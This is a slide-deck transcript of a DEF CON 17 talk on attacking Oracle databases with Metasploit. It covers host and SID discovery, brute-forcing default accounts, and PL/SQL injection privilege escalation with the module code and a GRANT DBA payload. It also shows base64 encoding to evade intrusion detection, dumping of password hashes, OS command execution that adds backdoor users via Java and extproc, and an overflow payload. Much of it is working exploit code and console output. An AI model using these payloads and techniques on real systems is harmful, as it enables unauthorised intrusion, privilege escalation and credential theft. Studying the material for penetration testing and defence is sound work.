SlideShare a Scribd company logo
Attacking Oracle
      with the
Metasploit Framework
       defcon 17
Who Are We?
Chris Gates
 <cg [@] metasploit.com>
What pays the bills
 Pentester/Security Consultant
Security Blogger
 http://carnal0wnage.attackresearch.com
Security Twit
 Carnal0wnage
Want more?
 Chris Gates + carnal0wnage + maltego 
Who Are We?
Mario Ceballos
<mc [@] metasploit.com>
What do I do?
Vulnerability Research/Exploit Development.
Metasploit Framework Developer.
  Focus is on auxiliary and exploit modules.
Pentesting for some company.
Disclaimer
Why Oracle?
Why the focus on Oracle?
 Been on lots of pentests & seen lots of potential
  targets.
 The Oracle business model allows for free
  downloads of products, but you pay for updates. The
  result is tons of potential shells.
 Privilege escalation and data theft is pretty easy,
  but shells are always better.
Why Oracle?
Why the focus on Oracle?
 Some support is provided by the commercial attack
  frameworks, but really don’t have much coverage for
  non-memory corruption vulns.
 Other tools that target Oracle.
  Inguma
  Orasploit (not public)
  Pangolin (if you want to give your hard earned shell back to
   .cn)
  A few free commercial products focused on vulnerability
   assessment rather than exploitation.
Current Metasploit Support
Some support for Oracle is already provided.
 Exploit modules.
  Handful of memory corruption modules that target earlier
   versions of Oracle and some of its other applications.
 Auxiliary modules.
  Handful of modules that assist in discovering the SID,
   identifying the version, sql injection (file-format), post
   exploitation, and a ntlm stealer.
New Metasploit Support
Introduction of a TNS Mixin.
 Handles a basic TNS packet structure.
  "(CONNECT_DATA=(COMMAND=#{command}))”
  Used for some of our auxiliary modules.
  Used for our TNS exploits.
Introduction of a ORACLE Mixin.
 Handles our direct database access.
 Dependencies:
  Oracle Instant Client.
  ruby-dbi.
  ruby-oci8.
 http://trac.metasploit.com/wiki/OracleUsage
New Metasploit Support (cont.)
Introduction of a ORACLE Mixin.
 Exposes a few methods.
  connect()
   Establishes a database handle.
  disconnect()
   Disconnect all database handles.
  preprare_exec()
   Prepares a statement then executes it.
New Metasploit Support (cont.)
Introduction of a ORACLE Mixin.
  Really makes things simple.

msf auxiliary(sql) > set SQL "select * from global_name"
SQL => select * from global_name
msf auxiliary(sql) > run

[*] Sending SQL...
[*] ORCL.REGRESS.RDBMS.DEV.US.ORACLE.COM
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
Oracle Attack Methodology
We need 4 things to connect to an Oracle DB.
 IP.
 Port.
 Service Identifier (SID).
 Username/Password.
Oracle Attack Methodology
Locate Oracle Systems.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Locate Oracle Systems
Nmap.
Information Disclosure Vulns.
Google.
Locate Oracle Systems
 Nmap.
   Look for common oracle ports 1521-1540,1158,5560
   cg@attack:~$ nmap -sV 192.168.0.100 -p 1521
Starting Nmap 4.90RC1 ( http://nmap.org )
Interesting ports on 192.168.0.100:

PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS Listener 10.2.0.1.0 (for 32-bit
Windows)
Locate Oracle Systems
Google.
Google dorks to locate Oracle systems.
     intitle:iSQL intitle:Release inurl:isqlplus intitle:10.1
     inurl:pls/portal
     "Index of" "Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12
     www.red-database-security.com/wp/google_oracle_hacking_us.pdf
Yahoo dorks? to locate Oracle systems.
     intitle:iSQL intitle:Release inurl:isqlplus
     inurl:pls/portal
     “Oracle-HTTP-Server" Server at Port "Last modified" 1.3.12
     www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf
Locate Oracle Systems
Sometimes they come pre-0wned. 
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via PL/SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
 Determine Oracle Version.
     tns_packet(“(CONNECT_DATA=(COMMAND=VERSION))”)
msf auxiliary(tnslsnr_version) > set RHOSTS 172.10.1.107-172.10.1.110
RHOSTS => 172.10.1.107-172.10.1.110
msf auxiliary(tnslsnr_version) > run
[*] Host 172.10.1.107 is running: Solaris: Version 9.2.0.1.0 – Production
[*] Host 172.10.1.108 is running: Linux: Version 11.1.0.6.0 - Production
[*] Host 172.10.1.109 is running: 32-bit Windows: Version 10.2.0.1.0 - Production
[*] Auxiliary module execution completed
msf auxiliary(tnslsnr_version) > db_notes
[*] Time: Fri May 29 16:09:41 -0500 2009 Note: host=172.10.1.107 type=VERSION Solaris:
Version 9.2.0.1.0 – Production
…
[*] Time: Fri May 29 16:09:44 -0500 2009 Note: host=172.10.1.109 type=VERSION data=32-
bit Windows: Version 10.2.0.1.0 - Production
msf auxiliary(tnslsnr_version) >
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Determine Oracle Service Identifier (SID).
   tns_packet(“(CONNECT_DATA=(COMMAND=STATUS))”)
   By querying the TNS Listener directly, brute force for
    default SID's or query other components that may
    contain it.
 msf auxiliary(sid_enum) > run
 [*] Identified SID for 172.10.1.107: PLSExtProc
 [*] Identified SID for 172.10.1.107 : acms
 [*] Identified SERVICE_NAME for 172.10.1.107 : PLSExtProc
 [*] Identified SERVICE_NAME for 172.10.1.107 : acms
 [*] Auxiliary module execution completed
 msf auxiliary(sid_enum) > run
 [-] TNS listener protected for 172.10.1.109...
 [*] Auxiliary module execution completed
Oracle Attack Methodology
Determine Oracle SID.
 By quering the TNS Listener directly, brute force for
  default SID's or query other components that may
  contain it.
msf auxiliary(sid_brute) > run

[*] Starting brute force on 172.10.1.109, using sids
from /home/cg/evil/msf3/dev/data/exploits/sid.txt...
[*] Found SID 'ORCL' for host 172.10.1.109.

[*] Auxiliary module execution completed
Oracle Attack Methodology
Determine Oracle SID.
 By quering the TNS Listener directly, brute force for
  default SID's or query other components that may
  contain it.
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed

msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid
msf auxiliary(spy_sid) > run
[*] Discovered SID: ‘orcl' for host 172.10.1.108
[*] Auxiliary module execution completed
msf auxiliary(spy_sid) >
Oracle Attack Methodology
Determine Oracle SID.
 Enterprise Manger Console.
Oracle Attack Methodology
Determine Oracle SID.
 Enterprise Manager Console.
 Query other components that may contain it.

msf auxiliary(sid_enum) > run
[-] TNS listener protected for 172.10.1.108...
[*] Auxiliary module execution completed
msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/oas_sid
msf auxiliary(oas_sid) > run
[*] Discovered SID: ‘orcl' for host 172.10.1.109
[*] Auxiliary module execution completed
msf auxiliary(oas_sid) >
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Determine Oracle Username/Password.
 Brute Force For Known Default Accounts.
msf auxiliary(login_brute) > set SID ORCL
SID => ORCL
msf auxiliary(login_brute) > run
.
[-] ORA-01017: invalid username/password; logon denied
[-] ORA-01017: invalid username/password; logon denied
[*] Auxiliary module execution completed
msf auxiliary(login_brute) > db_notes
[*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109
type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Oracle Attack Methodology
Privilege Escalation via SQL Injection.

SQL Injection in default Oracle packages.
 A good chunk of it executable by public! 
 Regular SQLI requires CREATE PROCEDURE privilege
  which most default accounts possess.
 Cursor SQLI only requires CREATE SESSION privilege.
Privilege Escalation
The code.
def initialize(info = {})super(update_info(info,
'Name'         => 'SQL Injection via SYS.LT.FINDRICSET.',
'Description' => %q{snip...
'Author'       => [ 'MC' ],
'License'      => MSF_LICENSE,
'Version'      => '$Revision:$',
'References' =>[ [ 'BID', '26098' ],],
'DisclosureDate' => 'Oct 17 2007'))
register_options( [
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to
#{datastore['DBUSER']}"]),], self.class)
Privilege Escalation
The code.
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function =
"CREATE OR REPLACE FUNCTION #{name} RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL'].upcase}'; COMMIT;
RETURN(0);
END;"
Privilege Escalation
The code.
package ="BEGIN
     SYS.LT.FINDRICSET('.'' #{datastore
['DBUSER']}.#{name}||'''')--','');            END;"
clean = "DROP FUNCTION #{name}"
....
print_status("Sending first function...")
prepare_exec(function)
print_status("Attempting sql injection on SYS.LT.FINDRICSET...")
prepare_exec(package)
print_status("Removing function '#{name}'...")
prepare_exec(clean)
....
Privilege Escalation
The set-up.
msf auxiliary(lt_findricset) > set RHOST 172.10.1.109
RHOST => 172.10.1.109
msf auxiliary(lt_findricset) > set RPORT 1521
RPORT => 1521
msf auxiliary(lt_findricset) > set DBUSER SCOTT
DBUSER => SCOTT
msf auxiliary(lt_findricset) > set DBPASS TIGER
DBPASS => TIGER
msf auxiliary(lt_findricset) > set SID ORCL
SID => ORACLE
msf auxiliary(lt_findricset) > set SQL GRANT DBA TO SCOTT
SQL => GRANT DBA TO SCOTT
Privilege Escalation
Attacking SYS.LT.FINDRICSET.
msf auxiliary(lt_findricset) > set SQL "grant dba to scott"
SQL => grant dba to scott
msf auxiliary(lt_findricset) > run

[*] Sending first function...
[*] Done...
[*] Attempting sql injection on SYS.LT.FINDRICSET...
[*] Done...
[*] Removing function 'NBVFICZ'...
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(lt_findricset) >
Privilege Escalation
Success?
 Before Injection.
SQL => select * from user_role_privs
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SCOTT,CONNECT,NO,YES,NO
[*] SCOTT,RESOURCE,NO,YES,NO
 After Injection.
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SCOTT,CONNECT,NO,YES,NO
[*] SCOTT,DBA,NO,YES,NO
[*] SCOTT,RESOURCE,NO,YES,NO
Privilege Escalation
Which works, but...
Privilege Escalation
  This Can Be Solved By Implementing Some
   Basic Evasion.
                 dos = Rex::Text.encode_base64(package)
  Which Is Then Decoded On The Remote Side.
DECLARE
#{rand2} VARCHAR2(32767);
BEGIN
#{rand2} :=
utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2}; END;
Privilege Escalation
We Bypass The NIDS, But Not So Much The HIPS
Privilege Escalation
At least not with that exploit!
"select sys.dbms_metadata.get_xml('''||#{datastore['DBUSER']}.#{name}()||''','') from dual"
Privilege Escalation Exploits
Initial Coverage.
  lt_findricset.rb          CVE-2007-5511
  lt_findricset_cursor.rb   CVE-2007-5511
  dbms_metadata_open.rb     CVE-2006-0260
  dbms_cdc_ipublish.rb      CVE-2008-3996
  dbms_cdc_publish.rb       CVE-2008-3995
  lt_rollbackworkspace.rb   CVE-2009-0978
  lt_compressworkspace.rb   CVE-2008-3982
  lt_mergeworkspace.rb      CVE-2008-3983
  lt_removeworkspace.rb     CVE-2008-3984
Oracle Attack Methodology
Locate a system running Oracle.
Determine Oracle Version.
Determine Oracle SID.
Guess/Bruteforce USER/PASS.
Privilege Escalation via SQL Injection.
Manipulate Data/Post Exploitation.
Cover Tracks.
Post Exploitation
If all I want is the Data after SQLI to DBA we are
 probably done.
  sql.rb to run SQL commands.
msf auxiliary(sql) > set SQL "select username,password,account_status from
    dba_users”
SQL => select username,password,account_status from dba_users
msf auxiliary(sql) > run
[*] Sending SQL...
[*] SYS,7087B7E95718C0CC,OPEN
[*] SYSTEM,66DC0F914CDD83F3,OPEN
[*] DBSNMP,E066D214D5421CCC,OPEN
[*] SCOTT,F894844C34402B67,OPEN
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) >
Post Exploitation
Data is nice, but shells are better 
 Several published methods for running OS
  commands via oracle libraries.
   Via Java.
   Extproc backdoors.
   Dbms_Scheduler.
   Run custom pl/sql or java.
Post Exploitation
Win32Exec
 Grant user JAVASYSPRIVS using sql.rb.
 Run win32exec.rb to run system commands.
 Examples
     Net User Add
     TFTP get trojan.exe → execute trojan.exe
     FTP Batch Scripts
     Net User Add → metasploit psexec exploit
 Ref: http://0xdeadbeef.info/exploits/raptor_oraexec.sql
 Ref: Oracle Hacker’s Handbook
Post Exploitation
Win32Exec

msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd1234
   /add“
CMD => net user dba P@ssW0rd1234 /add
msf auxiliary(win32exec) > run
[*] Creating MSF JAVA class...
[*] Done...
[*] Creating MSF procedure...
[*] Done...
[*] Sending command: 'net user dba P@ssW0rd1234 /add‘
[*] Done...
[*] Auxiliary module execution completed
Post Exploitation
nixExec
  To be released later.
Post Exploitation
FTP Upload
    Echo over FTP batch script via UTL_FILE, use
     DBMS_Scheduler to run the script and execute the
     malware.
    Demo Video at:
      http://vimeo.com/2704188

 Ref: Red Database Security
    Ref: http://www.red-database-security.com/wp/oracle_cheat.pdf
Post Exploitation
Perl Backdoor
    Oracle installs perl with every install.
    Use UTL_FILE to echo over perl shell line by line.
    Use one of the other tools to execute perl shell.
    Easy to use with *nix

 Ref: Red Database Security
Post Exploitation
Extproc Backdoor via directory traversal.
   Allows you to call libraries outside of
    oracle root.
  Nix and win32.
  CVE 2004-1364
        9.0.1.1 – 9.0.1.5
        9.2.0.1 – 9.2.0.5
        10.1.0.2
 Ref: http://0xdeadbeef.info/exploits/raptor_oraextproc.sql
Post Exploitation
Extproc Backdoor via directory traversal.
msf auxiliary(extproc_backdoor_traversal) > set CMD “net user
   metasploit metasploit /add”
CMD => net user metasploit metasploit /add
msf auxiliary(extproc_backdoor_traversal) > run
[*] Setting up extra required permissions
[*] Done...
[*] Set msvcrt.dll location to
   C:oracleora92bin../../../Windowssystem32msvcrt.dll
[*] Done...
[*] Setting extproc backdoor
[*] Running command net user metasploit metasploit /add
[*] Done…
[*] Auxiliary module execution complete
Post Exploitation

Extproc Backdoor via directory traversal.
Post Exploitation
Extproc Backdoor via copy dll.
    “newer” versions will allow you to just copy over
    the dll into the %ORACLE_HOME%bin directory.
CREATE OR REPLACE DIRECTORY copy_dll_from AS 'C:Windowssystem32';
CREATE OR REPLACE DIRECTORY copy_dll_to AS
  'C:Oracleproduct10.1.0db_1BIN';
…
CREATE OR REPLACE LIBRARY extproc_shell AS
  'C:Oracleproduct10.1.0db_1binmsvcrt.dll'; /
    Works on newer Oracle 10g/11g.
 Ref: Digital Security Research Group
 Ref: http://milw0rm.org/exploits/7675
Post Exploitation
Win32upload
 Grant user JAVASYSPRIVS using sql.rb.
 Run win32upload.rb to download binary from a remote
  webserver
 Run win32exec.rb to execute the binary

 Ref: Argeniss Advanced SQL Injection in Oracle Databases (Black Hat USA 2005)
 Ref: http://www.argeniss.com/research/OracleSQLInjBHUSA05.zip
Post Exploitation
DBMS_Schedule Backdoor
  Run OS commands via DBMS_Scheduler.
  Module written by Alexandr Polyakov of Digital
   Security Research Group.
  Will be added to svn soon.
Post Exploitation
Oracle NTLM Stealer
   Oracle running as admin user not SYSTEM.
   Have Oracle connect back to MSF, grab halfLM
    challenge or perform SMB Relay attack.
   Module writers did a great write up on using the
    module and when it would be useful.
 http://www.dsecrg.com/files/pub/pdf/Penetration_from_application_down_t
  o _OS_(Oracle%20database).pdf
Breaking Other Oracle Apps
Oracle Application Server CGI/Vulnerable URL
 scanner
     oas_cgi.rb
msf auxiliary(oas_cgi) > run

   [*] /em/console/logon/logon
   [*] /em/dynamicImage/emSDK/chart/EmChartBean
   [*] /servlet/DMSDump
   [*]/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-
   INF/config/soapConfig.xml
   [*] /servlet/Spy
   [*] Auxiliary module execution completed
The Way Ahead
Exploits For Vulnerable Packages.
  [*] ORA-03135: connection lost contact
PROCEDURE DELETE_REFRESH_OPERATIONS
Argument Name                   Type                      In/Out Default?
------------------------------  -----------------------   ------ --------
SNAP_OWNER                       VARCHAR2                 IN
SNAP_NAME                        VARCHAR2                 IN

sploit = rand_text_alpha_upper(576) + "BBBB" + "AAAA" + "xcc" * 500

sql = %Q|BEGIN
          SYS.DBMS_SNAP_INTERNAL.DELETE_REFRESH_OPERATIONS('MSF', '#{sploit}');
         END;
        |

0:032> !exchain
074fc408: 41414141
Invalid exception stack at 42424242
DEMO
THANKS!
Questions?
THANKS!
HDM, Richard Evans, JMG, !LSO, Sh2kerr, Rory McCune

More Related Content

What's hot

A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
Sergey Soldatov
 
Jim Geovedi - Machine Learning for Cybersecurity
Jim Geovedi - Machine Learning for CybersecurityJim Geovedi - Machine Learning for Cybersecurity
Jim Geovedi - Machine Learning for Cybersecurity
idsecconf
 
Empire Kurulumu ve Kullanımı
Empire Kurulumu ve Kullanımı Empire Kurulumu ve Kullanımı
Empire Kurulumu ve Kullanımı
BGA Cyber Security
 
You can detect PowerShell attacks
You can detect PowerShell attacksYou can detect PowerShell attacks
You can detect PowerShell attacks
Michael Gough
 
Finding attacks with these 6 events
Finding attacks with these 6 eventsFinding attacks with these 6 events
Finding attacks with these 6 events
Michael Gough
 
Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7
Teymur Kheirkhabarov
 
Neo4j Stored Procedure Training Part 1
Neo4j Stored Procedure Training Part 1Neo4j Stored Procedure Training Part 1
Neo4j Stored Procedure Training Part 1
Max De Marzi
 
The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0
Michael Gough
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
Yaroslav Babin
 
UEFI Firmware Rootkits: Myths and Reality
UEFI Firmware Rootkits: Myths and RealityUEFI Firmware Rootkits: Myths and Reality
UEFI Firmware Rootkits: Myths and Reality
Sally Feller
 
BugBounty Roadmap with Mohammed Adam
BugBounty Roadmap with Mohammed AdamBugBounty Roadmap with Mohammed Adam
BugBounty Roadmap with Mohammed Adam
Mohammed Adam
 
Linux Hardening - nullhyd
Linux Hardening - nullhydLinux Hardening - nullhyd
Linux Hardening - nullhyd
n|u - The Open Security Community
 
The TCP/IP Stack in the Linux Kernel
The TCP/IP Stack in the Linux KernelThe TCP/IP Stack in the Linux Kernel
The TCP/IP Stack in the Linux Kernel
Divye Kapoor
 
Phpconf 2013 - Agile Telephony Applications with PAMI and PAGI
Phpconf 2013 - Agile Telephony Applications with PAMI and PAGIPhpconf 2013 - Agile Telephony Applications with PAMI and PAGI
Phpconf 2013 - Agile Telephony Applications with PAMI and PAGI
Marcelo Gornstein
 
OpenWRT manual
OpenWRT manualOpenWRT manual
OpenWRT manualfosk
 
Pentest with Metasploit
Pentest with MetasploitPentest with Metasploit
Pentest with Metasploit
M.Syarifudin, ST, OSCP, OSWP
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows Environment
Teymur Kheirkhabarov
 
PhNOG Report APRICOT 2023
PhNOG Report APRICOT 2023PhNOG Report APRICOT 2023
PhNOG Report APRICOT 2023
APNIC
 
Geep networking stack-linuxkernel
Geep networking stack-linuxkernelGeep networking stack-linuxkernel
Geep networking stack-linuxkernel
Kiran Divekar
 
[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀
[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀
[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀
Shengyou Fan
 

What's hot (20)

A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 
Jim Geovedi - Machine Learning for Cybersecurity
Jim Geovedi - Machine Learning for CybersecurityJim Geovedi - Machine Learning for Cybersecurity
Jim Geovedi - Machine Learning for Cybersecurity
 
Empire Kurulumu ve Kullanımı
Empire Kurulumu ve Kullanımı Empire Kurulumu ve Kullanımı
Empire Kurulumu ve Kullanımı
 
You can detect PowerShell attacks
You can detect PowerShell attacksYou can detect PowerShell attacks
You can detect PowerShell attacks
 
Finding attacks with these 6 events
Finding attacks with these 6 eventsFinding attacks with these 6 events
Finding attacks with these 6 events
 
Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7
 
Neo4j Stored Procedure Training Part 1
Neo4j Stored Procedure Training Part 1Neo4j Stored Procedure Training Part 1
Neo4j Stored Procedure Training Part 1
 
The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0The top 10 windows logs event id's used v1.0
The top 10 windows logs event id's used v1.0
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
 
UEFI Firmware Rootkits: Myths and Reality
UEFI Firmware Rootkits: Myths and RealityUEFI Firmware Rootkits: Myths and Reality
UEFI Firmware Rootkits: Myths and Reality
 
BugBounty Roadmap with Mohammed Adam
BugBounty Roadmap with Mohammed AdamBugBounty Roadmap with Mohammed Adam
BugBounty Roadmap with Mohammed Adam
 
Linux Hardening - nullhyd
Linux Hardening - nullhydLinux Hardening - nullhyd
Linux Hardening - nullhyd
 
The TCP/IP Stack in the Linux Kernel
The TCP/IP Stack in the Linux KernelThe TCP/IP Stack in the Linux Kernel
The TCP/IP Stack in the Linux Kernel
 
Phpconf 2013 - Agile Telephony Applications with PAMI and PAGI
Phpconf 2013 - Agile Telephony Applications with PAMI and PAGIPhpconf 2013 - Agile Telephony Applications with PAMI and PAGI
Phpconf 2013 - Agile Telephony Applications with PAMI and PAGI
 
OpenWRT manual
OpenWRT manualOpenWRT manual
OpenWRT manual
 
Pentest with Metasploit
Pentest with MetasploitPentest with Metasploit
Pentest with Metasploit
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows Environment
 
PhNOG Report APRICOT 2023
PhNOG Report APRICOT 2023PhNOG Report APRICOT 2023
PhNOG Report APRICOT 2023
 
Geep networking stack-linuxkernel
Geep networking stack-linuxkernelGeep networking stack-linuxkernel
Geep networking stack-linuxkernel
 
[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀
[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀
[Kotlin 讀書會第五梯次] 深入淺出 Kotlin 第一章導讀
 

Viewers also liked

mimikatz @ asfws
mimikatz @ asfwsmimikatz @ asfws
mimikatz @ asfws
Benjamin Delpy
 
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Rob Fuller
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
Rob Fuller
 
Oracle Database 12c Attack Vectors
Oracle Database 12c Attack VectorsOracle Database 12c Attack Vectors
Oracle Database 12c Attack Vectors
Martin Toshev
 
Pentesting with Metasploit
Pentesting with MetasploitPentesting with Metasploit
Pentesting with Metasploit
Prakashchand Suthar
 
Oracle database threats - LAOUC Webinar
Oracle database threats - LAOUC WebinarOracle database threats - LAOUC Webinar
Oracle database threats - LAOUC Webinar
Osama Mustafa
 
hacking with node.JS
hacking with node.JShacking with node.JS
hacking with node.JS
Harsha Vashisht
 
Security Challenges in Node.js
Security Challenges in Node.jsSecurity Challenges in Node.js
Security Challenges in Node.js
Websecurify
 
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injectionStHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack
 
NoSQL, no SQL injections?
NoSQL, no SQL injections?NoSQL, no SQL injections?
NoSQL, no SQL injections?
Wayne Huang
 
Web Application Security 101 - 06 Authentication
Web Application Security 101 - 06 AuthenticationWeb Application Security 101 - 06 Authentication
Web Application Security 101 - 06 Authentication
Websecurify
 
Physical Penetration Testing - RootedCON 2015
Physical Penetration Testing - RootedCON 2015Physical Penetration Testing - RootedCON 2015
Physical Penetration Testing - RootedCON 2015
Hykeos
 
44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...
44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...
44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...
44CON
 
NoSQL Injections in Node.js - The case of MongoDB
NoSQL Injections in Node.js - The case of MongoDBNoSQL Injections in Node.js - The case of MongoDB
NoSQL Injections in Node.js - The case of MongoDB
Sqreen
 
Authentication(pswrd,token,certificate,biometric)
Authentication(pswrd,token,certificate,biometric)Authentication(pswrd,token,certificate,biometric)
Authentication(pswrd,token,certificate,biometric)
Ali Raw
 
Metasploit magic the dark coners of the framework
Metasploit magic   the dark coners of the frameworkMetasploit magic   the dark coners of the framework
Metasploit magic the dark coners of the frameworkRob Fuller
 
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Rob Fuller
 
Windows Attacks AT is the new black
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new black
Rob Fuller
 
Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...
Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...
Kısıtlar İçerecek Şekilde Revize Edilmiş Atama Algoritmasına Ait Bir Uygulama...
Can K.
 
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet AraştırmasıISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
BGA Cyber Security
 

Viewers also liked (20)

mimikatz @ asfws
mimikatz @ asfwsmimikatz @ asfws
mimikatz @ asfws
 
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Oracle Database 12c Attack Vectors
Oracle Database 12c Attack VectorsOracle Database 12c Attack Vectors
Oracle Database 12c Attack Vectors
 
Pentesting with Metasploit
Pentesting with MetasploitPentesting with Metasploit
Pentesting with Metasploit
 
Oracle database threats - LAOUC Webinar
Oracle database threats - LAOUC WebinarOracle database threats - LAOUC Webinar
Oracle database threats - LAOUC Webinar
 
hacking with node.JS
hacking with node.JShacking with node.JS
hacking with node.JS
 
Security Challenges in Node.js
Security Challenges in Node.jsSecurity Challenges in Node.js
Security Challenges in Node.js
 
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injectionStHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
 
NoSQL, no SQL injections?
NoSQL, no SQL injections?NoSQL, no SQL injections?
NoSQL, no SQL injections?
 
Web Application Security 101 - 06 Authentication
Web Application Security 101 - 06 AuthenticationWeb Application Security 101 - 06 Authentication
Web Application Security 101 - 06 Authentication
 
Physical Penetration Testing - RootedCON 2015
Physical Penetration Testing - RootedCON 2015Physical Penetration Testing - RootedCON 2015
Physical Penetration Testing - RootedCON 2015
 
44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...
44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...
44CON 2014 - Pentesting NoSQL DB's Using NoSQL Exploitation Framework, Franci...
 
NoSQL Injections in Node.js - The case of MongoDB
NoSQL Injections in Node.js - The case of MongoDBNoSQL Injections in Node.js - The case of MongoDB
NoSQL Injections in Node.js - The case of MongoDB
 
Authentication(pswrd,token,certificate,biometric)
Authentication(pswrd,token,certificate,biometric)Authentication(pswrd,token,certificate,biometric)
